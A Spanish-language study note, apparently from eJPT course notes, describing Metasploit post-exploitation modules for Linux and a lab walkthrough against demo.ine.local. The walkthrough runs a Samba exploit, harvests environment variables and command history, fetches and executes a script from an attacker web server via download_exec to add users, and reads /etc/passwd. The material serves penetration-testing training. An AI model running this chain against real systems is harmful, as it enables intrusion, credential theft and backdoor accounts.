> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/post-explotacion/postexplotacion-en-linux/modulos-de-postexplotacion-de-linux.md).
# Módulos de postexplotación de linux
**Metasploit Framework (MSF)** nos proporciona una serie de módulos diseñados específicamente para sistemas Linux comprometidos. Estos módulos automatizan tareas de enumeración y recolección de información que serían tediosas de realizar manualmente.
***
## 🔧 Enumerar Configuración del Sistema
Nos permite recolectar detalles como:
* Versión del kernel
* Distribución y versión del sistema operativo
* Procesos en ejecución
* Servicios habilitados
***
## 🌍 Enumerar Configuración de Red
Recolecta información sobre:
* Interfaces de red y direcciones IP
* Rutas configuradas
* DNS utilizados
* Conexiones activas
***
## 🧪 Comprobación de Máquina Virtual
Permite detectar si el sistema comprometido está ejecutándose dentro de una máquina virtual. Esto es útil para saber si estamos trabajando en un entorno de pruebas o honeypot.
***
## 🧬 Enumerar Variables de Entorno
Nos ayuda a identificar variables sensibles que puedan contener tokens, rutas importantes, claves API, configuraciones de contenedores o entornos de desarrollo.
***
## 🕵️♂️ Historial del Usuario
Revisar el historial de comandos (`.bash_history`, `zsh_history`, etc.) es una excelente fuente de credenciales, rutas de interés y comandos privilegiados ejecutados por el usuario.
***
## 🧪 Laboratorio Práctico
**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.
**Paso 2:** Verifique si la máquina de destino es accesible:
**Dominio:**
```
ping -c 4 demo.ine.local
```
El objetivo es alcanzable.
**Paso 3:** Escaneo de puertos con Nmap
Ahora podemos realizar un escaneo de puerto Nmap predeterminado en el destino para identificar los puertos abiertos en el sistema de destino, esto se puede hacer ejecutando el siguiente comando:
**Dominio:**
```
nmap -sS -sV -p- demo.ine.local
```
**Paso 4:** La máquina de destino se puede explotar utilizando el módulo exploit/linux/samba/is\_known\_pipename.
**Dominio:**
```
msfconsole
use exploit/linux/samba/is_known_pipename
set RHOST demo.ine.local
check
exploit -z
```
**Módulo 1:** post/linux/gather/enum\_configs
**Enlace:**
**Dominio:**
```
use post/linux/gather/enum_configs
set SESSION 1
run
```
**Módulo 2:** post/linux/gather/env
**Enlace:**
**Dominio:**
```
use post/multi/gather/env
set SESSION 1
run
```
**Módulo 3:** post/linux/gather/enum\_network
**Enlace:**
**Dominio:**
```
use post/linux/gather/enum_network
set SESSION 1
run
```
**Módulo 4:** post/linux/gather/enum\_protections
**Enlace:**
**Dominio:**
```
use post/linux/gather/enum_protections
set SESSION 1
run
```
**Módulo 5:** post/linux/gather/enum\_system
**Enlace:**
**Dominio:**
```
use post/linux/gather/enum_system
set SESSION 1
run
```
**Módulo 6:** post/linux/gather/checkcontainer
**Enlace:**
**Dominio:**
```
use post/linux/gather/checkcontainer
set SESSION 1
run
```
**Módulo 7:** post/linux/gather/checkvm
**Enlace:**
**Dominio:**
```
use post/linux/gather/checkvm
set SESSION 1
run
```
**Módulo 8:** post/linux/gather/enum\_users\_history
**Enlace:**
**Dominio:**
```
use post/linux/gather/enum_users_history
set SESSION 1
run
```
**Módulo 9:** post/multi/administración/sesión\_del\_sistema
**Enlace:**
**Dominio:**
```
use post/multi/manage/system_session
set SESSION 1
set TYPE python
set HANDLER true
set LHOST 192.216.221.2
run
```
Ahora, creemos un archivo bash que creará un usuario en la máquina de destino cargando un archivo test.sh y lo ejecutará.
**Dominio:**
```
useradd hacker
useradd test
useradd nick
```
Ahora, ejecutemos el servidor Apache en la máquina del atacante y copiemos el archivo test.sh en la carpeta raíz.
**Dominio:**
```
/etc/init.d/apache2 start
cp test.sh /var/www/html
```
Ahora, usemos el módulo de post-explotación de descarga y ejecución en la máquina de destino.
**Módulo 10:** post/linux/manage/download\_exec
**Enlace:**
**Dominio:**
```
use post/linux/manage/download_exec
set URL http://192.216.221.2/test.sh
set SESSION 1
run
```
Vamos a verificarlo interactuando con la sesión.
**Dominio:**
```
sessions -i 1
cat /etc/passwd
```
#### Referencias
* [Post explotación](https://metasploit.help.rapid7.com/docs/metasploit-basics#sectionpost-exploitation-module)